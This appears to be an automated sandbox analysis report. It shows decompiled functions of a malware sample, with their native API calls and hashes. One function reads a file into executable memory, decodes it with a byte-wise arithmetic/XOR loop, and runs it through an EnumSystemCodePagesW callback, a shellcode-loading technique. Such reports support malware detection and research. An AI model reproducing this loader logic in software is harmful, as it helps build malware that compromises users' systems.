				void* _t34;

				asm("sbb eax, 0x55b2e1f3");
				_t16 = _a4;
				_t4 = _t16 + 0xc6c; // 0xe72
				_t32 = _t4;
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t16, _t32,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2a);
				_t21 =  *((intOrPtr*)( *_t32))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, __eax, _t34); // executed
				return _t21;
			}

0x0041df53
0x0041df5a
0x0041df66
0x0041df66
0x0041df6e
0x0041df9c
0x0041dfa0

APIs

NtReadFile.NTDLL(004189A7,00413C7B,FFFFFFFF,00418491,00000206,?,004189A7,00000206,00418491,FFFFFFFF,00413C7B,004189A7,00000206,00000000), ref: 0041DF9C

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 06f743e81d4c6f344aa10923ce3285c99be648eee4bc05ec812d257d534e59f4
Instruction ID: 078f94cc8e3ca05c9ab6c20fa3f3a32812e3feebc94ed0dc4228923cd4752e54
Opcode Fuzzy Hash: 06f743e81d4c6f344aa10923ce3285c99be648eee4bc05ec812d257d534e59f4
Instruction Fuzzy Hash: FBF0F4B2200118ABCB14DF89DC84EEB77A9AF8C754F118208BE4D9B281D630EC11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF57 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0041DF57(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t3 = _a4 + 0xc6c; // 0xe72
				_t27 = _t3;
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t13, _t27,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}

0x0041df66
0x0041df66
0x0041df6e
0x0041df9c
0x0041dfa0

APIs

NtReadFile.NTDLL(004189A7,00413C7B,FFFFFFFF,00418491,00000206,?,004189A7,00000206,00418491,FFFFFFFF,00413C7B,004189A7,00000206,00000000), ref: 0041DF9C

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 46e9d61f60eefd5b9ec08f7c79a1628f979f043a503e788909cff7321939f862
Instruction ID: 655cb4e4c396fce941b8546bf9d16efbca437de042abb1fe47c2fd903f90b2bb
Opcode Fuzzy Hash: 46e9d61f60eefd5b9ec08f7c79a1628f979f043a503e788909cff7321939f862
Instruction Fuzzy Hash: 76F0AFB6200208ABCB14DF89DC85EEB77ADAF8C754F118249BE0DA7241D630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFD2 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041DFD2(intOrPtr __ebx, void* __edx, void* __edi, intOrPtr _a4, void* _a8) {
				long _t11;

				 *((intOrPtr*)(__edx + __edi - 0xffffffffec8b5554)) = __ebx;
				_t8 = _a4;
				_t6 = _t8 + 0xc74; // 0xc79
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t8, _t6,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2c);
				_t11 = NtClose(_a8); // executed
				return _t11;
			}

0x0041dfd3
0x0041dfda
0x0041dfe6
0x0041dfee
0x0041dffc
0x0041e000

APIs

NtClose.NTDLL(00418985,00000206,?,00418985,00000005,FFFFFFFF), ref: 0041DFFC

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: d19b84792e9f1990ceab20171babb533aaec6d64bca2ed1901bf09d319f22f62
Instruction ID: 1825da56593b3af8d6400fd194690cf66959247995f7361e4e5bd31633b70e00
Opcode Fuzzy Hash: d19b84792e9f1990ceab20171babb533aaec6d64bca2ed1901bf09d319f22f62
Instruction Fuzzy Hash: DCE0C232204220AFD710EBA4DC89FD73B58EF88360F004599B94D5F642C630E900C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0041DFD7 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041DFD7(intOrPtr _a4, void* _a8) {
				long _t8;

				_t3 = _a4 + 0xc74; // 0xc79
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t5, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0041dfe6
0x0041dfee
0x0041dffc
0x0041e000

APIs

NtClose.NTDLL(00418985,00000206,?,00418985,00000005,FFFFFFFF), ref: 0041DFFC

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 6f36c58043209be16d439a3199aaaee235847fb3c9824624ee7abedc41f38536
Instruction ID: d7652ac376bfee5cbf167f0e09bc99e97af7e0678d6cdc255ef65e079968a69b
Opcode Fuzzy Hash: 6f36c58043209be16d439a3199aaaee235847fb3c9824624ee7abedc41f38536
Instruction Fuzzy Hash: 78D01776204214ABD614EBA9DC89ED77BACDF48664F014155BA0D5B242D631FA008BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00408D87 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00408D87(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041FAF7( &_v67, 0, 0x3f);
				E004205E7( &_v68, 3);
				_t12 = E0040C317(_t30, _a4 + 0x20,  &_v68); // executed
				_t13 = E00418A87(_a4 + 0x20, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040BA77(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00408d87
0x00408d96
0x00408d9a
0x00408da5
0x00408db5
0x00408dc5
0x00408dca
0x00408dd1
0x00408dd4
0x00408de1
0x00408de3
0x00408de5
0x00408e02
0x00408e02
0x00000000
0x00408e04
0x00408e09

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 00408DE1

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 6a5c76f33e69d631c5cd5faa055fa231827f6670659c0f58f240d0f59781fcbe
Instruction ID: 3980c94b8ac149ca01037ed3d68c8fe9f93dea2d4a324d6a02d52aa73a4abf13
Opcode Fuzzy Hash: 6a5c76f33e69d631c5cd5faa055fa231827f6670659c0f58f240d0f59781fcbe
Instruction Fuzzy Hash: 1C018831A8022876E720A6959C43FFE765C5B41B59F04412EFF04FA1C1E6A8690686E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1ED Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E1ED(void* __ebx, void* __ecx, void* __edx, void* __esi, void* _a4, void* _a12, void* _a16, void* _a20, void* _a24, void* _a28, void* _a32, void* _a36, void* _a40) {
				void* _v0;
				void* _v1;
				void* _t25;

				_t25 = __ebx + 1;
				if (_t25 != 0) goto L3;
			}

0x0041e1f3
0x0041e1f6

APIs

ExitProcess.KERNEL32(?,00000000,000000E6,?,?,00000001), ref: 0041E21F

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fe07c7a1fe7cc184691f729d252de3d8f94143cdc67c282ef1b5fd2a164ce06d
Instruction ID: 3a23005c1a450b0ce9384711c7274ff542fa1110ee067af937f3c804ecebbb44
Opcode Fuzzy Hash: fe07c7a1fe7cc184691f729d252de3d8f94143cdc67c282ef1b5fd2a164ce06d
Instruction Fuzzy Hash: 470144B6200108ABCB14DF99DC84DEB77ACEF8C654F058259FA5D9B245C630E801CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041E388 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E0041E388(void* __eax, struct _LUID* __edx, void* __edi, intOrPtr _a5, intOrPtr _a9, WCHAR* _a12, WCHAR* _a16) {
				intOrPtr* __esi;
				int _t10;

				asm("sbb [0x6c5f1de9], ecx");
				if(__edi - 1 >= 0) {
					_t10 = LookupPrivilegeValueW(_a12, _a16, __edx); // executed
					return _t10;
				} else {
					__edx = __edx - 1;
					__esp = __esp + 1;
					asm("pushad");
					asm("fisub word [ecx]");
					_t3 = __eax;
					__eax = __ebp;
					__ebp = _t3;
					__ebp = __esp;
					__eax = _a5;
					__esi = _a5 + 0x1bf4;
					__eax = E0041EBE7(__eax, __esi,  *((intOrPtr*)(__eax + 0x23a4)), 2);
					__edx = _a9;
					__eax =  *__esi;
					__eax =  *((intOrPtr*)( *__esi))(_a9, __ebp);
					_pop(__esi);
					__ebp = __esi;
					return  *__esi;
				}
			}

0x0041e389
0x0041e38f
0x0041e347
0x0041e34b
0x0041e391
0x0041e391
0x0041e392
0x0041e393
0x0041e394
0x0041e396
0x0041e396
0x0041e396
0x0041e398
0x0041e39a
0x0041e3a7
0x0041e3af
0x0041e3b4
0x0041e3b7
0x0041e3bd
0x0041e3bf
0x0041e3c0
0x0041e3c1
0x0041e3c1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0040F389,0040F389,?,00000000,?,?), ref: 0041E347

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 9ed70f12ad27d53b096bd0f9a4e238804728527f94b575bc47a36bf1a0f4018d
Instruction ID: 4716ddf173ef1f5294d4de290b384ef1d893ae9b9691d9ddf83f7a3629dea316
Opcode Fuzzy Hash: 9ed70f12ad27d53b096bd0f9a4e238804728527f94b575bc47a36bf1a0f4018d
Instruction Fuzzy Hash: 6FF05EB5600214AFCB04DFA9DC45CE7776CEF85368B01846AFD598B642E632E911CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E177 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E177(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _a4, _t7 + 0xc94,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041e18e
0x0041e1a4
0x0041e1a8

APIs

RtlAllocateHeap.NTDLL(0041813D,?,004188E4,004188E4,?,0041813D,?,?,?,?,?,00000000,00000005,00000206), ref: 0041E1A4

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71d30878ffc0fd6371cee718eb9878eb3463dfa7e001799ef66c66478ee65a27
Instruction ID: 39b5cabef950e6491fd1ff11e6bcb4f47bb735b4b1560f452d24bb2e9d3c42ad
Opcode Fuzzy Hash: 71d30878ffc0fd6371cee718eb9878eb3463dfa7e001799ef66c66478ee65a27
Instruction Fuzzy Hash: 83E046B5200218ABDB18EF9ADC45EE737ACEF88764F018159FE095B242C630F910CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1B7 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E1B7(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xc98; // 0xc98
				E0041EB17( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041e1c6
0x0041e1ce
0x0041e1e4
0x0041e1e8

APIs

RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0041E1E4

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7383604f3fe5c795b9236c36b71377a732ea8f0b598dae172b24566b996ec6fa
Instruction ID: 1d552643a1b6a9e7e8cbaa6fd288b4534f8ea2684dbb839d41cd3eb30db23803
Opcode Fuzzy Hash: 7383604f3fe5c795b9236c36b71377a732ea8f0b598dae172b24566b996ec6fa
Instruction Fuzzy Hash: 83E04FB52002146BD714DF49DC49ED737ACEF88754F014155FD0957241D630F914CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041E317 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E317(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				struct _LUID* _t13;

				E0041EB17( *((intOrPtr*)(_a4 + 0xa1c)), _a4, _t7 + 0xcb0,  *((intOrPtr*)(_a4 + 0xa1c)), 0, 0x46);
				_t13 = _a16;
				_t10 = LookupPrivilegeValueW(_a8, _a12, _t13); // executed
				return _t10;
			}

0x0041e331
0x0041e336
0x0041e347
0x0041e34b

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0040F389,0040F389,?,00000000,?,?), ref: 0041E347

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6915fa93d7270e13bfd703e99c47af289f1ee2615e020f739a89d4d612532f61
Instruction ID: fb85849f582dcab3273909ea3b6beb81fed045dfd13ab71d80f81a5ef931559d
Opcode Fuzzy Hash: 6915fa93d7270e13bfd703e99c47af289f1ee2615e020f739a89d4d612532f61
Instruction Fuzzy Hash: 04E01AB52002186BD710DF49DC45EE737ADAF89664F118159BE0957241D631F8108AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F537 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040F537(intOrPtr _a4) {
				intOrPtr* _t7;
				void* _t8;

				_t7 = E00418A87(_a4 + 0x20,  *((intOrPtr*)(_a4 + 0xbc4)), 0, 0, 0x998e91b2);
				if(_t7 != 0) {
					_t8 =  *_t7(0x10); // executed
					return 0 | _t8 == 0x000000f1;
				} else {
					return _t7;
				}
			}

0x0040f551
0x0040f55b
0x0040f561
0x0040f570
0x0040f55e
0x0040f55e
0x0040f55e

APIs

GetUserGeoID.KERNELBASE(00000010), ref: 0040F561

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: 192d1dc557fdcd1f2abf0cd98871ab39a043c43d1ecbfc7256f5f81224423b0b
Instruction ID: 5511db123bae7081b5c05f1d5b2e2ca497d436f1bbdd44a9c892e0a4e36ad1e7
Opcode Fuzzy Hash: 192d1dc557fdcd1f2abf0cd98871ab39a043c43d1ecbfc7256f5f81224423b0b
Instruction Fuzzy Hash: 2FE0C23328030827F624E5A98C52FA6328E5B84B04F088475F90CE72C2D5A9E5800024

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1F7 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,00000000,000000E6,?,?,00000001), ref: 0041E21F

Memory Dump Source

Source File: 00000002.00000002.393032745.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_febcldoukq.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0c6232b6cdbf6635767260dc15682acedaa1cab9f782f361699728f7b20cdda3
Instruction ID: 71b31a6e052b90d658ead73e1ea1e15e08fcd2b9b7f1fc59455b7fbc18c8b61a
Opcode Fuzzy Hash: 0c6232b6cdbf6635767260dc15682acedaa1cab9f782f361699728f7b20cdda3
Instruction Fuzzy Hash: 15D0C2313002187BC620DB89CC45FD3379CDF457A4F004065BA0C5B241C530BA00C7E0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B1C4C0 Relevance: 74.0, APIs: 24, Strings: 18, Instructions: 467registrystringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00B1C573
RegSetValueExW.ADVAPI32 ref: 00B1C5BF
RegSetValueExW.ADVAPI32 ref: 00B1C63D
RegSetValueExW.ADVAPI32 ref: 00B1C6A2

Part of subcall function 00B13370: GetDpiForSystem.USER32 ref: 00B133DC
Part of subcall function 00B13370: MulDiv.KERNEL32 ref: 00B133F5
Part of subcall function 00B13370: GetDpiForSystem.USER32 ref: 00B13406
Part of subcall function 00B13370: MulDiv.KERNEL32 ref: 00B1341F

RegSetValueExW.ADVAPI32 ref: 00B1C70A
lstrcmpW.KERNEL32 ref: 00B1C738
lstrlenW.KERNEL32 ref: 00B1C755
RegSetValueExW.ADVAPI32 ref: 00B1C797
RegSetValueExW.ADVAPI32 ref: 00B1C7FF
GetDpiForSystem.USER32 ref: 00B1C836
MulDiv.KERNEL32 ref: 00B1C851
GetDpiForSystem.USER32 ref: 00B1C860
MulDiv.KERNEL32 ref: 00B1C87B
RegSetValueExW.ADVAPI32 ref: 00B1C8E6
RegSetValueExW.ADVAPI32 ref: 00B1C94E
RegSetValueExW.ADVAPI32 ref: 00B1C9B0
RegSetValueExW.ADVAPI32 ref: 00B1CA12
RegSetValueExW.ADVAPI32 ref: 00B1CA74
RegSetValueExW.ADVAPI32 ref: 00B1CAD6
RegSetValueExW.ADVAPI32 ref: 00B1CB38
RegSetValueExW.ADVAPI32 ref: 00B1CB9A
RegSetValueExW.ADVAPI32 ref: 00B1CC27
RegSetValueExW.ADVAPI32 ref: 00B1CC8C
RegSetValueExW.ADVAPI32 ref: 00B1CD19

Strings

PopupColors, xrefs: 00B1CB0D
CursorSize, xrefs: 00B1C612
MenuMask, xrefs: 00B1CAAB
WindowSize, xrefs: 00B1CCEE
FontWeight, xrefs: 00B1C923
EditionMode, xrefs: 00B1C6DF
FontPitchFamily, xrefs: 00B1C7D4
CursorVisible, xrefs: 00B1C677
InsertMode, xrefs: 00B1CA49
ColorTable%02d, xrefs: 00B1C562
FontSize, xrefs: 00B1C8BB
HistoryNoDup, xrefs: 00B1C9E7
HistoryBufferSize, xrefs: 00B1C985
`, xrefs: 00B1C86F
ScreenColors, xrefs: 00B1CC61
FaceName, xrefs: 00B1C770
ScreenBufferSize, xrefs: 00B1CBFC
QuickEdit, xrefs: 00B1CB6F

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Value$System$lstrcmplstrlenwsprintf
String ID: ColorTable%02d$CursorSize$CursorVisible$EditionMode$FaceName$FontPitchFamily$FontSize$FontWeight$HistoryBufferSize$HistoryNoDup$InsertMode$MenuMask$PopupColors$QuickEdit$ScreenBufferSize$ScreenColors$WindowSize$`
API String ID: 4202061470-2238697219
Opcode ID: ba1c7720fa1e37a0f3441f97c05695e7f5c381332ef9af077c10e98ea68d71bb
Instruction ID: acf5f16e9a8420ff3c5436d47148dc659625f51929adf920b297818597f44de6
Opcode Fuzzy Hash: ba1c7720fa1e37a0f3441f97c05695e7f5c381332ef9af077c10e98ea68d71bb
Instruction Fuzzy Hash: 9932C4B0904219DFDB10DF58C484BAEBBF0FF48314F5089AAE9599B250D774DA88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B118D0 Relevance: 33.7, APIs: 10, Strings: 9, Instructions: 441
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00B118D0(void* __eflags, void* _a4, void* _a8, WCHAR* _a12, void* _a16) {
				struct _OVERLAPPED* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				struct _OVERLAPPED* _v32;
				signed short* _v36;
				void* _v40;
				void* _v44;
				long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				struct _OVERLAPPED* _v64;
				signed int _v68;
				long _v72;
				struct _OVERLAPPED* _v76;
				signed short _v96;
				signed int _v100;
				signed int _v132;
				char _v144;
				signed int _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				void* _v164;
				signed int _v168;
				signed int _v172;
				long _v176;
				void* __edi;
				int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t262;
				signed int _t264;
				signed int _t267;
				void* _t279;
				void* _t280;
				signed int _t284;
				signed int _t287;
				signed int _t290;
				signed int _t293;
				signed int _t296;
				signed int _t299;
				signed int _t302;
				signed int _t304;
				signed int _t312;
				signed int _t318;
				signed int _t325;
				intOrPtr _t350;
				void* _t399;
				void* _t402;
				void* _t406;
				signed int* _t407;
				signed int* _t408;
				intOrPtr* _t409;
				signed int* _t410;
				intOrPtr* _t411;
				signed int* _t412;
				intOrPtr* _t414;

				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v52 = 2;
				_v64 = 0;
				_v68 = 0;
				_v76 = 0;
				_v176 = 0x3d0900;
				_v76 = E00B20FD1();
				if(_v76 != 0) {
					E00B1FC30(_t399, _v76, 0x54, 0x3d0900);
					_v44 = CreateFileW(_a12, 0x80000000, 1, 0, 3, 0x80, 0);
					_v48 = GetFileSize(_v44, 0);
					_v40 = VirtualAlloc(0, _v48, 0x3000, 0x40);
					__eflags = 0;
					ReadFile(_v44, _v40, _v48,  &_v72, 0);
					_t406 = _t402 - 0xfffffffffffffff0;
					while(1) {
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0x44;
						 *(_v40 + _v68) =  *(_v40 + _v68) ^ 0x000000e4;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0xfb;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xff;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0x18;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xe0;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xff;
						_v68 = _v68 + 1;
						__eflags = _v68 - _v48;
						if(_v68 >= _v48) {
							break;
						}
					}
					__eflags = 0;
					_v176 = _v40;
					_v172 = 0;
					EnumSystemCodePagesW(??, ??);
					_t407 = _t406 - 8;
					 *_t407 = _v76;
					E00B20F4D();
					_v68 = 0;
					while(1) {
						__eflags = _v68 - _v52;
						if(_v68 >= _v52) {
							break;
						}
						 *0xb34918 = 0x1f7;
						_v68 = _v68 + 1;
					}
					_t257 = GetOEMCP();
					 *0xb349b8 = _t257;
					 *0xb349b4 = _t257;
					 *0xb349a4 = 0x32;
					_t258 =  *0xb349a4; // 0x0
					 *_t407 = _t258;
					_v176 = 4;
					_t259 = E00B20F42();
					 *0xb349a0 = _t259;
					__eflags = _t259;
					if(_t259 != 0) {
						_v68 = 1;
						while(1) {
							__eflags = _v68 - _v52;
							if(_v68 >= _v52) {
								break;
							}
							 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
							_v176 = L"--headless";
							_t287 = E00B211B7();
							__eflags = _t287;
							if(_t287 != 0) {
								 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
								_v176 = L"--unix";
								_t290 = E00B211B7();
								__eflags = _t290;
								if(_t290 != 0) {
									 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
									_v176 = L"--width";
									_t293 = E00B211B7();
									__eflags = _t293;
									if(_t293 != 0) {
										 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
										_v176 = L"--height";
										_t296 = E00B211B7();
										__eflags = _t296;
										if(_t296 != 0) {
											 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
											_v176 = L"--signal";
											_t299 = E00B211B7();
											__eflags = _t299;
											if(_t299 != 0) {
												 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
												_v176 = L"--server";
												_t302 = E00B211B7();
												__eflags = _t302;
												if(_t302 != 0) {
													_v16 = 1;
												} else {
													_t304 = _v68 + 1;
													_v68 = _t304;
													__eflags = _t304 - _v52;
													if(_t304 != _v52) {
														 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
														_v176 =  &_v36;
														_v172 = 0;
														 *0xb34914 = E00B21341();
														__eflags =  *_v36;
														if( *_v36 == 0) {
															goto L47;
														} else {
															_v16 = 1;
														}
													} else {
														_v16 = 1;
													}
												}
											} else {
												_t312 = _v68 + 1;
												_v68 = _t312;
												__eflags = _t312 - _v52;
												if(_t312 != _v52) {
													 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
													_v176 =  &_v36;
													_v172 = 0;
													_v32 = E00B21341();
													__eflags =  *_v36;
													if( *_v36 == 0) {
														goto L47;
													} else {
														_v16 = 1;
													}
												} else {
													_v16 = 1;
												}
											}
										} else {
											_t318 = _v68 + 1;
											_v68 = _t318;
											__eflags = _t318 - _v52;
											if(_t318 != _v52) {
												 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
												_v176 =  &_v36;
												_v172 = 0;
												_v28 = E00B21341();
												__eflags = _v28;
												if(_v28 != 0) {
													L30:
													__eflags = _v28 - 0xffff;
													if(_v28 > 0xffff) {
														goto L32;
													} else {
														__eflags =  *_v36 & 0x0000ffff;
														if(( *_v36 & 0x0000ffff) == 0) {
															goto L47;
														} else {
															goto L32;
														}
													}
												} else {
													__eflags =  *0xb34920;
													if( *0xb34920 == 0) {
														L32:
														_v16 = 1;
													} else {
														goto L30;
													}
												}
											} else {
												_v16 = 1;
											}
										}
									} else {
										_t325 = _v68 + 1;
										_v68 = _t325;
										__eflags = _t325 - _v52;
										if(_t325 != _v52) {
											 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
											_v176 =  &_v36;
											_v172 = 0;
											_v24 = E00B21341();
											__eflags = _v24;
											if(_v24 != 0) {
												L21:
												__eflags = _v24 - 0xffff;
												if(_v24 > 0xffff) {
													goto L23;
												} else {
													__eflags =  *_v36 & 0x0000ffff;
													if(( *_v36 & 0x0000ffff) == 0) {
														goto L47;
													} else {
														goto L23;
													}
												}
											} else {
